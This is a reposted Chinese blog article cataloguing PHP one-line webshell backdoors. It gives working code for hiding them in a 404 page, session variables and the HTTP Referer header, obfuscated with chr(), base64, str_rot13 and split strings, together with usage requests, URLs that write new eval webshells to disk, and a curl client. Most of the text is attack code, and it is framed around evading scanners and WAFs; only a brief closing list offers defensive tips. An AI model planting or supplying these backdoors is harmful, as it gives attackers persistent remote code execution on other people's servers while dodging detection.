标头:
Src:http://www.0x7c.com/?p=713
转载自冠威博客 [ http://www.guanwei.org/ ]
本文链接地址:http://www.guanwei.org/post/applicationsecurity/05/One-Word-Backdoor-PHP.html
内容:
我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。
强悍的PHP一句话后门
这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。
利用404页面隐藏PHP小马:
1 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" > |
4 | <title>404 Not Found</title> |
6 | <body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body> |
8 | <?php @preg_replace( "/[pageerror]/e" , $_POST [ 'error' ], "saft" );header( 'HTTP/1.1 404 Not Found' );?> |
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
利用:post提交 error=phpinfo(); 可以得到phpinfo执行结果
1 | error = eval ( chr (102). chr (112). chr (117). chr (116). chr (115). chr (40). chr (102). chr (111). chr (112). chr (101). chr (110). chr (40). chr (39). chr (100). chr (97). |
2 | chr (116). chr (97). chr (47). chr (97). chr (46). chr (112). chr (104). chr (112). chr (39). chr (44). chr (39). chr (119). chr (39). chr (41). chr (44). chr (39). chr (60). |
3 | chr (63). chr (112). chr (104). chr (112). chr (32). chr (101). chr (118). chr (97). chr (108). chr (40). chr (36). chr (95). chr (80). chr (79). chr (83). chr (84). chr (91). |
4 | chr (99). chr (109). chr (100). chr (93). chr (41). chr (63). chr (62). chr (39). chr (41). chr (59)) |
密文对应的明文是:
1 | fputs ( fopen (data/a.php,w),<?php eval ( $_POST [cmd])?>); |
无特征隐藏PHP一句话:
前:
2 | echo preg_replace( '\'[a,b]\'' , '-' , 'aabcd' ); |
与
2 | echo preg_replace( '/[a,b]/' , '-' , 'aabcd' ); |
等效~~
——–
后门下:
3 | $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); |
4 | $_SESSION [ 'theCode' ]&& preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); |
利用:如POST提交code=cGhwaW5mbygpOw== (phpinfo();的base64编码) 即可返回phpinfo()结果
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
1 | <?php $_GET [ 'a' ]( $_GET [ 'b' ]);?> |
这里在测试时利用了http://mysite.com/backdoor.php?a=echo&b=22 发现总是不成功.最后经高人指点,发现是因为echo并不是一个函数,在帮助手册上有这么一段话:echo is not actually a function (it is a language construct).
所以这里就可以http://mysite.com/backdoor.php?a=assert&b=phpinfo() 来执行,保证a=assert,然后b才是你想要执行的php语句……精妙啊。
顺带也可以这样:http://mysite.com/backdoor.php?a=assert&b=eval(base64_decode(‘cGhwaW5mbygpOw==’)) 那是phpinfo();的BASE64编码。 虽然看起来有画蛇添足的味道,但base64编码有时也是必须的。
写一句话:
http://mysite.com/backdoor.php?a=assert&b=${fputs(fopen(base64_decode(‘Yy5waHA=’),’w'),base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4=’))};
转义后:
http://mysite.com/backdoor.php?a=assert&b=${fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>))};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
利用请求Reffer,编码运行PHP后门:
此方法用两个文件实现,文件1
3 | header( 'Content-type:text/html;charset=utf-8' ); |
4 | parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); |
5 | if (reset( $a ) == '10' && count ( $a ) == 9) { |
6 | eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6,1))))); |
手动利用设置 reffer=a=10&b=ab&c=34&d=re&e=32&f=km&g=cGhwaW5mbygpOw==&h=&i=
重点在第七个参数g=cGhwaW5mbygpOw 这里是phpinfo()的base64编码 ,可转执行其它PHP语句.
PHP利用:
02 | header( 'Content-type:text/html;charset=utf-8' ); |
06 | $code = base64_encode ( $code ); |
08 | $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; |
12 | $options = array ( CURLOPT_URL => $url , CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); |
13 | curl_setopt_array( $ch , $options ); |
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
———————————————————————————————————-
三个变形的一句话PHP木马
第一个
1 | <?php ( $_ =@ $_GET [2]).@ $_ ( $_POST [1])?> |
在菜刀里写http://site/1.php?2=assert密码是1
第二个(这个还没看懂)
1 | <?php $_ = "" ; $_ [+ "" ]= '' ; $_ = "$_" . "" ; $_ =( $_ [+ "" ]| "" ).( $_ [+ "" ]| "" ).( $_ [+ "" ]^ "" );?><?php ${ '_' . $_ }[ '_' ](${ '_' . $_ }[ '__' ]);?> |
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
第三个
2 | ( $b4dboy = $_POST [ 'b4dboy' ]) &&@preg_replace( '/ad/e' , '@' . str_rot13 ( 'riny' ). '($b4dboy)' , 'add' ); |
即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
利用时POST提交 b4dboy=phpinfo(); 执行phpinfo();
———————————————————————————————————-
最后列几个高级的PHP一句话木马后门:
1、
1 | $hh = "p" . "r" . "e" . "g" . "_" . "r" . "e" . "p" . "l" . "a" . "c" . "e" ; |
2 | $hh ( "/[discuz]/e" , $_POST [ 'h' ], "Access" ); |
//菜刀一句话
2、
1 | $filename = $_GET [ 'xbid' ]; |
//危险的include函数,直接编译任何文件为php格式运行
3、
2 | $reg ( $_FILES [MyFile][tmp_name], $_FILES [MyFile][name]); |
//重命名任何文件
4、
1 | $gzid = "p" . "r" . "e" . "g" . "_" . "r" . "e" . "p" . "l" . "a" . "c" . "e" ; |
2 | $gzid ( "/[discuz]/e" , $_POST [ 'h' ], "Access" ); |
//菜刀一句话
5、
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
1 | <?php eval_r( $_POST [sb])?> |
程序代码
1 | <?php @eval_r( $_POST [sb])?> |
//容错代码
程序代码
1 | <?php assert( $_POST [sb]);?> |
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace(“/[email]/e”,$_POST['h'],”error”);
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在”配置”一栏输入
程序代码
<O>h=@eval_r($_POST1);</O>
程序代码
<script language=”php”>@eval_r($_POST[sb])</script>
//绕过<?限制的一句话
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!
如何应对PHP一句话后门:
我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:
1,对PHP程序编写要有安全意识
2,服务器日志文件要经常看,经常备份
3,对每个站点进行严格的权限分配
4,对动态文件及目录经常批量安全审查
5,学会如何进行手工杀毒《即行为判断查杀》
6,时刻关注,或渗入活跃的网络安全营地
7,对服务器环境层级化处理,哪怕一个函数也可做规则
. Bookmark the